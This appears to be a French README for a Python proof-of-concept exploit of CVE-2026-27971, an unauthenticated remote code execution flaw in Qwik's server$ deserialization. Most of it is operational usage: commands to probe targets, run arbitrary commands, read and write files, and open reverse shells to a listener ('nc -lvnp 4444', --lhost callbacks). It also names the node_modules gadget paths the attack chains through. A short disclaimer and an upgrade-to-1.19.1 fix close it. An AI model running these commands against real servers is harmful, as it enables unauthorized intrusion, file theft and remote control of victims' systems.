
CVE-2026-27971 qwik rce
server$[!WARNING] Ce dépôt contient une preuve de concept active d’exécution de code à distance. Ne l’utilisez que sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L’auteur décline toute responsabilité en cas d’utilisation non autorisée ou de dommages.
Une preuve de concept Python autonome pour CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, une vulnérabilité d’exécution de code à distance non authentifiée dans le mécanisme de désérialisation RPC server$ de Qwik.
Le PoC peut effectuer une sonde de marqueur active, exécuter des commandes, lire ou écrire des fichiers texte et demander un reverse shell sur des cibles Linux ou Windows. Il utilise uniquement la bibliothèque standard de Python.
| Champ | Valeur |
|---|
| Produit | Qwik — paquet npm @builder.io/qwik |
| Versions concernées | <= 1.19.0 |
| Version corrigée | 1.19.1 |
| Vulnérabilité | Exécution de code à distance non authentifiée via une désérialisation non sécurisée de server$ |
| Condition d’exécution | require() doit être disponible à l’exécution |
| CWE | CWE-502 — Désérialisation de données non fiables |
| Sévérité | Critique — CVSS 4.0 : 9.2 |
| Vecteur | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Une requête application/qwik-json spécialement conçue peut référencer un module côté serveur et un symbole exporté. Les versions vulnérables de Qwik peuvent résoudre un QRL non enregistré via require() à l’exécution et l’invoquer sans authentification. Ce PoC tente d’atteindre une exportation d’exécution de processus compatible déjà présente dans le node_modules de la cible.
Opérateur :
server$/Qwik JSON.Cible :
@builder.io/qwik <= 1.19.0.require() est disponible.node_modules.node disponible dans le PATH du processus du service.Aucun paquet Python tiers n’est requis.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Lister les gadgets intégrés sans envoyer de requête :
python3 exploit_combat.py --list-gadgets
Exécuter une sonde de marqueur active et tester chaque gadget intégré :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--proben’est pas une détection passive de version. Il tente une exécution de code à distance et la confirme en affichant un marqueur depuis le processus cible.
Exécuter une commande :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Lire un fichier texte UTF-8 :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Écrire et vérifier un fichier texte UTF-8 :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Demander un reverse shell après avoir démarré un listener persistant :
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Forcer la charge utile de reverse shell Windows lorsque la détection automatique du système d’exploitation n’est pas appropriée :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
Le script ne démarre pas de listener. La vérification préalable --callback ouvre et ferme une connexion TCP distincte avant d’envoyer la charge utile du shell ; utilisez donc un listener capable d’accepter plusieurs connexions.
| Option | Description |
|---|---|
-t URL, --target URL | URL cible exacte. Défaut : http://localhost:3000. La route n’est pas découverte automatiquement. |
--probe | Exécuter activement une charge utile de marqueur et tenter la détection du système d’exploitation. |
-c CMD, --CMD CMD | Exécuter une commande via Node.js child_process.execSync(). |
--read PATH | Lire un fichier texte UTF-8 à l’aide de fs.readFileSync(). |
--write PATH --content TEXT | Écrire un fichier texte, le relire, puis comparer le résultat. Les répertoires parents ne sont pas créés. |
--list-gadgets | Afficher les noms des gadgets intégrés et quitter sans requête réseau. |
--lhost IP | Activer le mode reverse shell et définir l’adresse de rappel. |
--lport PORT | Définir le port de rappel. Défaut : 4444. |
--rev-all | Envoyer toutes les variantes de reverse shell au lieu de s’arrêter après la première requête HTTP acceptée. |
--callback | Tester la connectivité TCP sortante avant d’envoyer une charge utile de reverse shell. |
--OS {auto,linux,windows} | Sélectionner la famille de charges utiles de reverse shell. Défaut : auto. |
--gadget SPEC | Utiliser auto, un nom intégré ou un <module>#<symbol> personnalisé. Défaut : cross-spawn.sync. |
--arg-style {argv,command,shell} | Style d’arguments pour un gadget <module>#<symbol> personnalisé. |
--timeout SECONDS | Délai d’attente HTTP côté client. Défaut : 30. |
--verify-ssl | Activer la vérification du certificat TLS et du nom d’hôte. La vérification est désactivée par défaut. |
Les modes d’action ne sont pas mutuellement exclusifs dans l’analyseur. Utilisez l’un des --probe, --CMD, --read, --write ou --lhost par invocation.
| Nom | Module et exportation | Style |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto teste ces gadgets dans l’ordre indiqué. Un gadget personnalisé peut être fourni comme suit :
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, pas la découverte automatique. Utilisez --gadget auto lorsque la disposition des dépendances de la cible est inconnue.--read attend de l’UTF-8 et --write n’est pas prévu pour les données binaires.--rev-all peut démarrer plusieurs processus ou rappels sur la cible. Ne l’utilisez que dans un laboratoire isolé.Mettez à niveau @builder.io/qwik vers 1.19.1 ou une version ultérieure, mettez à jour le lockfile, reconstruisez l’application et redéployez tous les artefacts serveur. La suppression d’un gadget compatible ne constitue pas à elle seule un correctif complet de la vulnérabilité sous-jacente de Qwik.
Ce projet est fourni pour la recherche en sécurité, la validation défensive et les tests autorisés. Ne l’utilisez pas contre des systèmes sans autorisation explicite.